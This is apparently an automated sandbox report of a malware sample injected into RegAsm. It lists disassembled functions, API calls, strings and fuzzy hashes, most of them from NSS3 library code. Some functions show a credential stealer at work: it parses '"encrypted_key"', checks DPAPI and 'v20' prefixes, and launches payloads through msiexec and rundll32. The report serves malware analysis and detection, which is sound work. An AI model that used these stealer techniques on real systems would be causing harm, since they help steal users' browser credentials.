Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: d0429b69ca66dd52f004e62b6e1623ef08d55cc0dad0dd1da7617af487e0a603
Instruction ID: 5c63956e96acee10e56fcd7e79b5c755962903df295741b02458712373cb5646
Opcode Fuzzy Hash: d0429b69ca66dd52f004e62b6e1623ef08d55cc0dad0dd1da7617af487e0a603
Instruction Fuzzy Hash: 0881AF71A0A301AFE701CF28D850F5AB7E8AB84398F15952DFA58DB740E731E905CB92

Function 6C480470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4804B7

Part of subcall function 6C4D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4787ED,00000800,6C46EF74,00000000), ref: 6C4D1000
Part of subcall function 6C4D0FF0: PR_NewLock.NSS3(?,00000800,6C46EF74,00000000), ref: 6C4D1016
Part of subcall function 6C4D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C4787ED,00000008,?,00000800,6C46EF74,00000000), ref: 6C4D102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C480539

Part of subcall function 6C4D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D1228
Part of subcall function 6C4D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C4D1238
Part of subcall function 6C4D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D124B
Part of subcall function 6C4D1200: PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0,00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D125D
Part of subcall function 6C4D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C4D126F
Part of subcall function 6C4D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C4D1280
Part of subcall function 6C4D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C4D128E
Part of subcall function 6C4D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C4D129A
Part of subcall function 6C4D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C4D12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C48054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C48056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4805CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C4805EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C4805FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C480621
PR_EnterMonitor.NSS3 ref: 6C48063E
PR_ExitMonitor.NSS3 ref: 6C480668
CERT_DestroyCertificate.NSS3(?), ref: 6C480697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4806AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4806CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4806DA

Part of subcall function 6C47E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C4804DC,?,?), ref: 6C47E6C9
Part of subcall function 6C47E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C4804DC,?,?), ref: 6C47E6D9
Part of subcall function 6C47E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C4804DC,?,?), ref: 6C47E6F4
Part of subcall function 6C47E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C4804DC,?), ref: 6C47E703
Part of subcall function 6C47E6B0: CERT_FindCertIssuer.NSS3(?,?,6C4804DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C47E71E

Part of subcall function 6C47F660: PR_EnterMonitor.NSS3(6C48050F,?,00000001,?,?,?), ref: 6C47F6A8
Part of subcall function 6C47F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6C47F6C1
Part of subcall function 6C47F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6C47F7C8

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: 89c0d01a674a33753e4a68aa4503a77320f9a5d3208355aea343e681afe78961
Instruction ID: fb8906687685064f14fdfb3b31eaf5fc80b4e176f0580603502d5cb415635056
Opcode Fuzzy Hash: 89c0d01a674a33753e4a68aa4503a77320f9a5d3208355aea343e681afe78961
Instruction Fuzzy Hash: 0361F171A163419BEB10DE28CC40F5B77E4AFC4369F10052DF959A7B91E730E918CBA2

Function 6C4AADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C4AADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4AAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4AAE29

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4AAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C4AAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4AAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C4AAEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6C4AAE1F, 6C4AAE80
nXl, xrefs: 6C4AAEB8, 6C4AAEE6
C_MessageSignInit, xrefs: 6C4AADE1
hKey = 0x%x, xrefs: 6C4AAE62, 6C4AAE72
hSession = 0x%x, xrefs: 6C4AAE01, 6C4AAE11

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nXl
API String ID: 332880674-3220949444
Opcode ID: 00352aa7fb591b01a7d2bf6e0c588c33bb09cc07c2bc2e92846dbb0b8f65a989
Instruction ID: df89f8822230ef892477db92cfa4cdd6a38080043e0234e81df984dd0da6d377
Opcode Fuzzy Hash: 00352aa7fb591b01a7d2bf6e0c588c33bb09cc07c2bc2e92846dbb0b8f65a989
Instruction Fuzzy Hash: AE312731641254EBDB00DF94CC88FBB37B5AF96309F454069E8095BB01D730AC0ACF9A

Function 6C4A2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C4A2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A2E33

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C4A2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C4A2E81

Strings

(CK_INVALID_HANDLE), xrefs: 6C4A2E2C
nXl, xrefs: 6C4A2E99, 6C4A2EC4
pPin = 0x%p, xrefs: 6C4A2E63
ulPinLen = %d, xrefs: 6C4A2E7C
C_InitPIN, xrefs: 6C4A2DF1
hSession = 0x%x, xrefs: 6C4A2E0E, 6C4A2E1E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nXl
API String ID: 1003633598-1038629538
Opcode ID: c7a8a699acb1410c5f4fcfb2e1a01b4b6d1808f34c676dee98f9e17abcd3f009
Instruction ID: 71119467652fd553024b7d3d6d7913c5ee7f052629b17d9895a1da62f33f8ee5
Opcode Fuzzy Hash: c7a8a699acb1410c5f4fcfb2e1a01b4b6d1808f34c676dee98f9e17abcd3f009
Instruction Fuzzy Hash: A8312530602264EBDB20DB95CD4CF5B77B1EB86319F054065E80DA7B11DB30AC4ACBDA

Function 6C4A6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C4A6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A6F53

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C4A6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C4A6FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6C4A6F4C
ulPartLen = %d, xrefs: 6C4A6F9C
nXl, xrefs: 6C4A6FB9, 6C4A6FE7
pPart = 0x%p, xrefs: 6C4A6F83
hSession = 0x%x, xrefs: 6C4A6F2E, 6C4A6F3E
C_DigestUpdate, xrefs: 6C4A6F11

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nXl
API String ID: 1003633598-2565784537
Opcode ID: 9359be7fd4f3fbcf744a3f9c757cac334973be3b2f455f36732f1642261e6366
Instruction ID: 5c729df10ebb4d306b3b69476084397a01331c2175f8812fc6b552ee9b5203be
Opcode Fuzzy Hash: 9359be7fd4f3fbcf744a3f9c757cac334973be3b2f455f36732f1642261e6366
Instruction Fuzzy Hash: 47310B34602250EFDB10DF94CC48F9A77B1EB96319F054069F808A7B15DB30AC4ACBDA

Function 6C4B6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C4B781D,00000000,6C4ABE2C,?,6C4B6B1D,?,?,?,?,00000000,00000000,6C4B781D), ref: 6C4B6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C4B781D,?,6C4ABE2C,?), ref: 6C4B6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C4B781D), ref: 6C4B6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C4B6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C4B6C96

Part of subcall function 6C461240: TlsGetValue.KERNEL32(00000040,?,6C46116C,NSPR_LOG_MODULES), ref: 6C461267
Part of subcall function 6C461240: EnterCriticalSection.KERNEL32(?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C46127C
Part of subcall function 6C461240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C461291
Part of subcall function 6C461240: PR_Unlock.NSS3(?,?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C4612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C4B6CAA

Strings

sql:, xrefs: 6C4B6C52
dbm:, xrefs: 6C4B6C3A
extern:, xrefs: 6C4B6C7E
dbm, xrefs: 6C4B6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C4B6C91
rdb:, xrefs: 6C4B6C69

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 102fd910099e1c4046e730a634a77e5a78da98a3fbcca0a0a78191e7ebcfbd47
Instruction ID: 897c31a8b1060092653288bfd06bfe4c0126d4ca17aff29620e7d388ce14d90e
Opcode Fuzzy Hash: 102fd910099e1c4046e730a634a77e5a78da98a3fbcca0a0a78191e7ebcfbd47
Instruction Fuzzy Hash: F501A7B170371537EA10277A5D69F66366C9F42199F180435FE04F0A41EBF2F61940BD

Function 004112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411307
strtok_s.MSVCRT ref: 00411750

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 39d9ca71da1bc9d1652a922a502435f613a84b1baf7be8d74ac8d700c30c56b7
Instruction ID: 4a233ae47f87f64f9a2ed81d2cca976e3c75948f423937a2df4e62cfbc7c3e06
Opcode Fuzzy Hash: 39d9ca71da1bc9d1652a922a502435f613a84b1baf7be8d74ac8d700c30c56b7
Instruction Fuzzy Hash: C7C1D6B5941218ABCB14EF60DC89FEA7379BF54304F00449EF50AA7241DB78AAC5CF95

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

<, xrefs: 00413490
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
C:\Windows\system32\rundll32.exe, xrefs: 00413332
/i ", xrefs: 004133E4
"" , xrefs: 0041309A
.dll, xrefs: 004131E5
.msi, xrefs: 00413398
/passive, xrefs: 0041345B

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00414280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041429E
memset.MSVCRT ref: 004142B5

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 004142EC
lstrcatA.KERNEL32(?,01501ED8), ref: 0041430B
lstrcatA.KERNEL32(?,?), ref: 0041431F
lstrcatA.KERNEL32(?,01501910), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39
Part of subcall function 00409CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,01501FC8), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrcatA.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcatA.KERNEL32(00000000,00000000), ref: 004144D2
lstrcatA.KERNEL32(00000000,?), ref: 004144E5
lstrcatA.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 5aa6d4880243c14683d09a921e5d6b983d8c65dcffd814794d78b03247387af5
Instruction ID: 36ee7f3ac4f34f2e69ac811a17adbc1f593ee72d5fdd25ff7e799b1d0bb6bc25
Opcode Fuzzy Hash: 5aa6d4880243c14683d09a921e5d6b983d8c65dcffd814794d78b03247387af5
Instruction Fuzzy Hash: 0B7165B6900208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 6C4C4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C4878F8), ref: 6C4C4E6D

Part of subcall function 6C4609E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C4606A2,00000000,?), ref: 6C4609F8
Part of subcall function 6C4609E0: malloc.MOZGLUE(0000001F), ref: 6C460A18
Part of subcall function 6C4609E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C460A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C4878F8), ref: 6C4C4ED9

Part of subcall function 6C4B5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C4B7703,?,00000000,00000000), ref: 6C4B5942
